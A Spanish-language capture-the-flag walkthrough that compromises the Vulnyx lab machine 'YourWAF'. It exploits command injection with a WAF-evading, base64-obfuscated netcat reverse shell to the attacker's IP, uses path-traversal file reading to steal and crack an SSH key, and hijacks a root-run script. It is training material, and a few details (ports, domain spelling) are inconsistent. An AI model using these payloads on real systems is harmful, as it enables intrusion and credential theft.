Máquina YourWAF (Vulnyx)


Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.64
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.64


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.64 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 2280 y 3000.

Comprobamos que es lo que corre por el puerto 80.


Nos redirige al dominio www.yourwarf.nyx.

Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts


Accedemos a el.


A continuación, realizamos con la herramienta gobuster un fuzzing web por subdominios, para ello ejecutamos el siguiente comando:

$ gobuster vhost -u http://yourwaf.nyx -w /usr/share/seclists/Discovery/Web-Content/big.txt --append-domain --random-agent


Encontramos el subdominio maintenance.yourwarf.nyx.

Lo agregamos también al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts


Accedemos a el.


Nos encontramos con una Ejecución de Comandos para el mantenimiento del servidor, en el cual, si introducimos el comando whoami nos devuelve www-data, siendo vulnerable a Injección de Comandos (Command Injection).

A continuación, en la terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Nos creamos la siguiente reverse shell codificada en base64, y la pegamos en el formulario de la siguiente manera:

/???/e??o bmMgMTAuMC4yLjQgNDQzIC1lIC9iaW4vYmFzaA== | base64 -d | /b?n/b??h -e


Y obtenemos una shell como www-data.

Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Enumeramos todos los servicios en el sistema, para ello ejecutamos el siguiente comando:

$ ps aux


Vemos que el usuario root ejecuta el servicio escrito en NodeJs server.js dentro del directorio /opt/nodeapp, Visualizamos el código fuente de este fichero, para ello ejecutamos el siguiente comando:

$ cat /opt/nodeapp/server.js



Descubrimos que la funcionalidad /readfile permite la lectura de archivos del sistema a través de una petición HTTP por el puerto 3000. Para ello, es necesario proporcionar un token de API válido a traves del parametro api-token y el nombre del archivo que se desea leer a traves del parametro file, siendo vulnerable a Local File Inclusion (LFI).

A continuación, enumeramos los usuarios del sistema, para ello ejecutamos el siguiente comando:

$ cat /etc/passwd


Vemos los usuarios tester y root.

A continuación, con la ayuda de la herramienta curl, Intentamos descargar la clave privada id_rsa del usuario tester, para ello ejecutamos el siguiente comando:

$ curl -o id_rsa "http://www.yourwaf.nyx:3000/readfile?api-token=8c2b6a304191b8e2d81aaa5d1131d83d&file=../../../../../../home/tester/.ssh/id_rsa"

Extraemos el hash del fichero id_rsa con la herramienta ssh2john, para ello ejecutamos el siguiente comando:

$ ssh2john id_rsa > id_rsa.hash

A continuación, intentamos crackearlo, para ello utilizamos la herramienta john indicando el diccionario rockyou, para ello ejecutamos el siguiente comando:

$ john id_rsa.hash --wordlist=rockyou.txt


Y obtenemos la contraseña wafako.

Una vez crackeada la contraseña utilizamos el fichero id_rsa para conectarnos via ssh a la Máquina victima, para ello ejecutamos los siguientes comandos:

$ chmod 600 id_rsa
$ ssh -i id_rsa tester@10.0.2.64


¡¡¡Somos tester!!!.

Comprobamos el usuario y los grupos a los que pertenece el usuario tester, para ello ejecutamos el siguiente comando:

$ id


Vemos que el usuario pertenece al grupo copylogs.

Buscamos todos los archivos en los que tenemos permiso de escritura con este grupo, para ello ejecutamos el siguiente comando:

$ find / -group copylogs -perm -u=w -type f 2>/dev/null


Encontramos el archivo copylogs.sh que tiene permisos de escritura dentro del directorio /opt/nodeapp. Por lo tanto lo editamos, para ello ejecutamos el siguiente comando:

$ nano /opt/nodeapp/copylogs.sh

Insertamos la siguiente reverse shell:


A continuación, en la terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443


¡¡¡Ya somos root!!!.

También pudiendo leer las flags de user y root.